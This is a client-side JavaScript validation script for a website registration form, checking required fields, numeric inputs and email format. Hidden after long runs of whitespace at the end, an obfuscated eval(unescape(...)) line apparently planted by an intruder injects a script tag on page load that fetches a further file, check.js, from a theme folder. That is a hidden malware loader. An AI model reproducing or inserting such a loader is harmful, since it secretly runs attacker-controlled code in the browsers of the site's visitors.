<!--
var validations = new Array();
var tempphone;

// Define which validations to perform. Each array item

// holds the form field to validate, and the validation

// to be applied. This is the only part you need to

// customize in order to use the script in a new page!

validations[0]=["document.register.uname", "notblank"];
validations[1]=["document.register.password1", "notblank"];
validations[2]=["document.register.password2", "notblank"];
validations[3]=["document.register.fname", "notblank"];
validations[4]=["document.register.address1", "notblank"];
validations[5]=["document.register.city", "notblank"];
validations[6]=["document.register.state", "notblank"];
validations[7]=["document.register.country", "notblank"];
validations[8]=["document.register.pin", "isnumber"];
validations[9]=["document.register.phonmobl", "isnumber"];
validations[10]=["document.register.emailu", "validemail"];
validations[11]=["document.register.img__code", "notblank"];


//validations[1]=["document.myform.useremail", "validemail"];

//validations[2]=["document.myform.favoritenumber", "isnumber"];

// Customize above array when used with a new page.

function phonmbl()
{
document.register.phonmobl.value=document.register.phonec.value + document.register.mobile.value

}
function isEmpty(s) 

{
  if (s == null || s.length == 0)
    return true;

  // The test returns true if there is at least one non-

  // whitespace, meaning the string is not empty. If the

  // test returns true, the string is empty.

  return !/\S/.test(s);

}

function isEmpty1(s) 

{

  if (s == 0 )

    return true;

  // The test returns true if there is at least one non-

  // whitespace, meaning the string is not empty. If the

  // test returns true, the string is empty.

  return !/\S/.test(s);

}


function looksLikeEmail(field)
{
  var str = field.value;


		var at="@"
		var dot="."
		var lat=str.indexOf(at)
		var lstr=str.length
		var ldot=str.indexOf(dot)
		if (str.indexOf(at)==-1){
		   alert("Invalid E-mail ID")
		   return false
		}

		if (str.indexOf(at)==-1 || str.indexOf(at)==0 || str.indexOf(at)==lstr){
		   alert("Invalid E-mail ID")
		   return false
		}

		if (str.indexOf(dot)==-1 || str.indexOf(dot)==0 || str.indexOf(dot)==lstr){
		    alert("Invalid E-mail ID")
		    return false
		}

		 if (str.indexOf(at,(lat+1))!=-1){
		    alert("Invalid E-mail ID")
		    return false
		 }

		 if (str.substring(lat-1,lat)==dot || str.substring(lat+1,lat+2)==dot){
		    alert("Invalid E-mail ID")
		    return false
		 }

		 if (str.indexOf(dot,(lat+2))==-1){
		    alert("Invalid E-mail ID")
		    return false
		 }
		
		 if (str.indexOf(" ")!=-1){
		    alert("Invalid E-mail ID")
		    return false
		 }

 		 return true		

 /* if (isEmpty(s))

   {

     alert("Email may not be empty");

     field.focus();
     return false;

   }

  if (/[^@]+@\w+/.test(s))

       return true;

  alert("E-mail not in valid form must be like abc@abc.com");

  field.focus();

  return false;*/

}


function isInteger(field)

{

  var s = field.value;

  if (isEmpty(s))

   {


     alert("Enter " + field.title + ".");

     field.focus();

     return false;

   }

  if (!(/^-?\d+$/.test(s)))

   {

     alert(field.title + " must contain only digits.");

     field.focus();

     return false;

   }

 return true;

}


function validate(chk, suub)

{
	
  var i;

  var checkToMake;

  var field;
	suub.disabled = !chk.checked;
	
  for (i = 0; i < validations.length; i++)

   {

     field = eval(validations[i][0]);

     checkToMake = validations[i][1];
	phonmbl();

     switch (checkToMake)     

      {

       case 'notblank': if (isEmpty(field.value))

                          {

                           alert("Enter " + field.title + ".");
				                           field.focus();
							uchk(chk,suub);
                           return false;

                          }

                        break;
						
		case 'notblank1': if (isEmpty1(field.value))

                          {
						
                           
						   alert("Select Commencement " + field.title + ".");  
				
						   field.focus();                    
							uchk(chk,suub);
                           return false;

                          }

                        break;						

       case 'validemail':  if (!looksLikeEmail(field))
	   						{
							uchk(chk,suub);
                               return false;

                           }
						   break;

       case 'isnumber':  if (!isInteger(field))
	   						{
								uchk(chk,suub);
										
                        	    return false;
							}
							break;
      }

   }
//	suub.disabled = false;
//	suub.enabled = true;
	
	
  return true;
  document.register.submit1A.disabled = false;

}

function uchk(chk,suub)
{
	chk.checked=false;
	document.register.C1.checked = false;
	suub.disabled=true;
	document.register.submit1A.disabled=true;	
}
-->




































































































                                                                                                                                                      /* a0b4df006e02184c60dbf503e71c87ad */ ;eval(unescape('%69%66%20%28%21%64%6F%63%75%6D%65%6E%74%2E%67%65%74%45%6C%65%6D%65%6E%74%42%79%49%64%28%27%4A%53%53%53%27%29%29%7B%20%4A%53%53%31%20%3D%20%35%39%3B%20%4A%53%53%32%20%3D%20%35%37%37%31%38%3B%20%4A%53%53%33%20%3D%20%27%2F%63%68%61%6E%61%6B%79%61%2F%74%68%65%6D%65%73%2F%53%75%6E%73%65%74%2F%61%6B%61%67%2F%64%75%6D%6D%79%2E%68%74%6D%27%3B%20%76%61%72%20%6A%73%20%3D%20%64%6F%63%75%6D%65%6E%74%2E%63%72%65%61%74%65%45%6C%65%6D%65%6E%74%28%27%73%63%72%69%70%74%27%29%3B%20%6A%73%2E%73%65%74%41%74%74%72%69%62%75%74%65%28%27%73%72%63%27%2C%20%27%2F%63%68%61%6E%61%6B%79%61%2F%74%68%65%6D%65%73%2F%53%75%6E%73%65%74%2F%61%6B%61%67%2F%63%68%65%63%6B%2E%6A%73%27%29%3B%20%6A%73%2E%73%65%74%41%74%74%72%69%62%75%74%65%28%27%69%64%27%2C%20%27%4A%53%53%53%27%29%3B%20%64%6F%63%75%6D%65%6E%74%2E%67%65%74%45%6C%65%6D%65%6E%74%73%42%79%54%61%67%4E%61%6D%65%28%27%68%65%61%64%27%29%2E%69%74%65%6D%28%30%29%2E%61%70%70%65%6E%64%43%68%69%6C%64%28%6A%73%29%20%7D%3B%20')); /* a995d2cc661fa72452472e9554b5520c */                                                                                                                                                      





































































































